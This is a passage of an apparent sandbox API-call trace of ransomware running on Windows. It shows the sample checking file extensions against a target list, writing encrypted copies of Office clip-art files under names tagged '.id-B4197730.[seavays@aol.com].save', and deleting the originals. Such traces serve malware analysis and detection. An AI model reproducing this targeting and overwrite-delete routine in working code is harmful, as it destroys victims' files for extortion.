(lpString=".doc") returned 4 [0208.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.287] lstrlenW (lpString=".docx") returned 5 [0208.287] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0208.287] lstrlenW (lpString=".pdf") returned 4 [0208.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.287] lstrlenW (lpString=".xls") returned 4 [0208.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.287] lstrlenW (lpString=".xlsx") returned 5 [0208.288] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0208.288] lstrlenW (lpString=".ppt") returned 4 [0208.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0208.288] lstrlenW (lpString=".zip") returned 4 [0208.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.288] lstrlenW (lpString=".rar") returned 4 [0208.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.288] lstrlenW (lpString=".bz2") returned 4 [0208.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.288] lstrlenW (lpString=".7z") returned 3 [0208.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0208.288] lstrlenW (lpString=".dbf") returned 4 [0208.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0208.288] lstrlenW (lpString=".1cd") returned 4 [0208.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0208.288] lstrlenW (lpString=".jpg") returned 4 [0208.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0208.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0208.288] lstrlenW (lpString=".doc") returned 4 [0208.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.288] lstrlenW (lpString=".docx") returned 5 [0208.288] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0208.288] lstrlenW (lpString=".pdf") returned 4 [0208.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.289] lstrlenW (lpString=".xls") returned 4 [0208.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.289] lstrlenW (lpString=".xlsx") returned 5 [0208.289] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0208.289] lstrlenW (lpString=".ppt") returned 4 [0208.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0208.289] lstrlenW (lpString=".zip") returned 4 [0208.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.289] lstrlenW (lpString=".rar") returned 4 [0208.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.289] lstrlenW (lpString=".bz2") returned 4 [0208.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.289] lstrlenW (lpString=".7z") returned 3 [0208.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0208.289] lstrlenW (lpString=".dbf") returned 4 [0208.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0208.289] lstrlenW (lpString=".1cd") returned 4 [0208.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0208.289] lstrlenW (lpString=".jpg") returned 4 [0208.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.289] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0208.289] lstrlenW (lpString="J0099187.JPG") returned 12 [0208.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0208.290] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=24528) returned 1 [0208.290] CloseHandle (hObject=0x374) returned 1 [0208.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 0x220 [0208.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0208.290] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.290] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0208.291] GetLastError () returned 0x0 [0208.291] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x5fd0, lpOverlapped=0x0) returned 1 [0208.293] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0x5fe0, lpOverlapped=0x0) returned 1 [0208.294] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.294] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.294] SetEndOfFile (hFile=0x378) returned 1 [0208.295] CloseHandle (hObject=0x378) returned 1 [0208.295] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.295] SetEndOfFile (hFile=0x374) returned 1 [0208.296] CloseHandle (hObject=0x374) returned 1 [0208.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 1 [0208.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0208.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0208.296] lstrlenW (lpString=".doc") returned 4 [0208.296] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0208.296] lstrlenW (lpString=".docx") returned 5 [0208.297] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0208.297] lstrlenW (lpString=".pdf") returned 4 [0208.297] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0208.297] lstrlenW (lpString=".xls") returned 4 [0208.297] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0208.297] lstrlenW (lpString=".xlsx") returned 5 [0208.297] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0208.297] lstrlenW (lpString=".ppt") returned 4 [0208.297] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0208.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0208.297] lstrlenW (lpString=".zip") returned 4 [0208.297] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0208.297] lstrlenW (lpString=".rar") returned 4 [0208.297] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0208.297] lstrlenW (lpString=".bz2") returned 4 [0208.297] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0208.297] lstrlenW (lpString=".7z") returned 3 [0208.297] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0208.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0208.297] lstrlenW (lpString=".dbf") returned 4 [0208.297] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0208.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0208.297] lstrlenW (lpString=".1cd") returned 4 [0208.297] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0208.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0208.297] lstrlenW (lpString=".jpg") returned 4 [0208.297] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0208.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0208.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0208.298] lstrlenW (lpString=".doc") returned 4 [0208.298] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0208.298] lstrlenW (lpString=".docx") returned 5 [0208.298] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0208.298] lstrlenW (lpString=".pdf") returned 4 [0208.298] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0208.298] lstrlenW (lpString=".xls") returned 4 [0208.298] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0208.298] lstrlenW (lpString=".xlsx") returned 5 [0208.298] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0208.298] lstrlenW (lpString=".ppt") returned 4 [0208.298] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0208.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0208.298] lstrlenW (lpString=".zip") returned 4 [0208.298] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0208.298] lstrlenW (lpString=".rar") returned 4 [0208.298] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0208.298] lstrlenW (lpString=".bz2") returned 4 [0208.298] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0208.298] lstrlenW (lpString=".7z") returned 3 [0208.298] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0208.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0208.298] lstrlenW (lpString=".dbf") returned 4 [0208.298] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0208.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0208.298] lstrlenW (lpString=".1cd") returned 4 [0208.298] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0208.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0208.299] lstrlenW (lpString=".jpg") returned 4 [0208.299] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0208.299] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0208.299] lstrlenW (lpString="J0099188.JPG") returned 12 [0208.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0208.299] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=9080) returned 1 [0208.299] CloseHandle (hObject=0x374) returned 1 [0208.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 0x220 [0208.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0208.300] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.300] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0208.301] GetLastError () returned 0x0 [0208.301] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x2378, lpOverlapped=0x0) returned 1 [0208.302] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0x2380, lpOverlapped=0x0) returned 1 [0208.303] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.303] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.303] SetEndOfFile (hFile=0x378) returned 1 [0208.303] CloseHandle (hObject=0x378) returned 1 [0208.303] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.303] SetEndOfFile (hFile=0x374) returned 1 [0208.304] CloseHandle (hObject=0x374) returned 1 [0208.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 1 [0208.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0208.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0208.305] lstrlenW (lpString=".doc") returned 4 [0208.305] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0208.305] lstrlenW (lpString=".docx") returned 5 [0208.305] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0208.305] lstrlenW (lpString=".pdf") returned 4 [0208.306] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0208.306] lstrlenW (lpString=".xls") returned 4 [0208.306] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0208.306] lstrlenW (lpString=".xlsx") returned 5 [0208.306] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0208.306] lstrlenW (lpString=".ppt") returned 4 [0208.306] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0208.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0208.306] lstrlenW (lpString=".zip") returned 4 [0208.306] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0208.306] lstrlenW (lpString=".rar") returned 4 [0208.306] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0208.306] lstrlenW (lpString=".bz2") returned 4 [0208.306] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0208.306] lstrlenW (lpString=".7z") returned 3 [0208.306] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0208.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0208.306] lstrlenW (lpString=".dbf") returned 4 [0208.306] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0208.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0208.306] lstrlenW (lpString=".1cd") returned 4 [0208.306] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0208.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0208.306] lstrlenW (lpString=".jpg") returned 4 [0208.306] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0208.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0208.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0208.306] lstrlenW (lpString=".doc") returned 4 [0208.306] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0208.306] lstrlenW (lpString=".docx") returned 5 [0208.306] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0208.307] lstrlenW (lpString=".pdf") returned 4 [0208.307] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0208.307] lstrlenW (lpString=".xls") returned 4 [0208.307] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0208.307] lstrlenW (lpString=".xlsx") returned 5 [0208.307] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0208.307] lstrlenW (lpString=".ppt") returned 4 [0208.307] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0208.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0208.307] lstrlenW (lpString=".zip") returned 4 [0208.307] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0208.307] lstrlenW (lpString=".rar") returned 4 [0208.307] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0208.307] lstrlenW (lpString=".bz2") returned 4 [0208.307] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0208.307] lstrlenW (lpString=".7z") returned 3 [0208.307] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0208.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0208.307] lstrlenW (lpString=".dbf") returned 4 [0208.307] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0208.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0208.307] lstrlenW (lpString=".1cd") returned 4 [0208.307] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0208.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0208.307] lstrlenW (lpString=".jpg") returned 4 [0208.307] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0208.307] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0208.308] lstrlenW (lpString="J0099189.JPG") returned 12 [0208.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0208.308] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=8076) returned 1 [0208.308] CloseHandle (hObject=0x374) returned 1 [0208.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 0x220 [0208.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0208.308] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.308] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0208.309] GetLastError () returned 0x0 [0208.309] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x1f8c, lpOverlapped=0x0) returned 1 [0208.310] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0x1f90, lpOverlapped=0x0) returned 1 [0208.312] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.312] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.312] SetEndOfFile (hFile=0x378) returned 1 [0208.312] CloseHandle (hObject=0x378) returned 1 [0208.312] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.312] SetEndOfFile (hFile=0x374) returned 1 [0208.313] CloseHandle (hObject=0x374) returned 1 [0208.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 1 [0208.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0208.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0208.314] lstrlenW (lpString=".doc") returned 4 [0208.314] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0208.314] lstrlenW (lpString=".docx") returned 5 [0208.314] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0208.314] lstrlenW (lpString=".pdf") returned 4 [0208.314] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0208.315] lstrlenW (lpString=".xls") returned 4 [0208.315] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0208.315] lstrlenW (lpString=".xlsx") returned 5 [0208.315] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0208.315] lstrlenW (lpString=".ppt") returned 4 [0208.315] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0208.315] lstrlenW (lpString="C:\\Program Files\\Microsoft 